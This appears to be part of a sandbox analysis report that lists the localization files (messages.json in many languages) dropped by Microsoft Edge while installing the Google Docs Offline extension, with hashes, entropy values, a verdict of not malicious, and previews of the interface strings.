Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

